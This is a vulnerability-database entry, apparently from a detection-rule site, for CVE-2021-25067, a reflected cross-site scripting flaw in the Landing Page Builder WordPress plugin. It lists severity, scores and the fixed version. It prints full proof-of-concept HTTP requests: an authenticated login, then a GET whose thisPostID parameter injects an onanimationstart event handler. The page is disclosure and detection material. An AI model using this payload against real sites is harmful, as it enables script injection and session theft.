🔙 목록으로 돌아가기

CVE-2021-25067: Landing Page Builder < 1.4.9.6 - Cross-Site Scripting

TitleLanding Page Builder < 1.4.9.6 - Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
RemediationFixed in version 1.4.9.6.
CVSS Score5.4
EPSS Score0.0646
CVE IDCVE-2021-25067
CWE IDCWE-79
Tags cve2021 cve xss wordpress authenticated wpscan wp-plugin wp page-builder-add pluginops vuln

🔍 Vulnerability Description

The Landing Page Builder WordPress plugin before 1.4.9.6 was affected by a reflected XSS in page-builder-add on the ulpb_post admin page.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=ppzk36&pwd=p4uzFm&wp-submit=Log+In
GET /wp-admin/edit.php?post_type=ulpb_post&page=page-builder-new-landing-page&thisPostID=test"+style=animation-name:rotation+onanimationstart=alert(document.domain)+x= HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25067.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25067.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A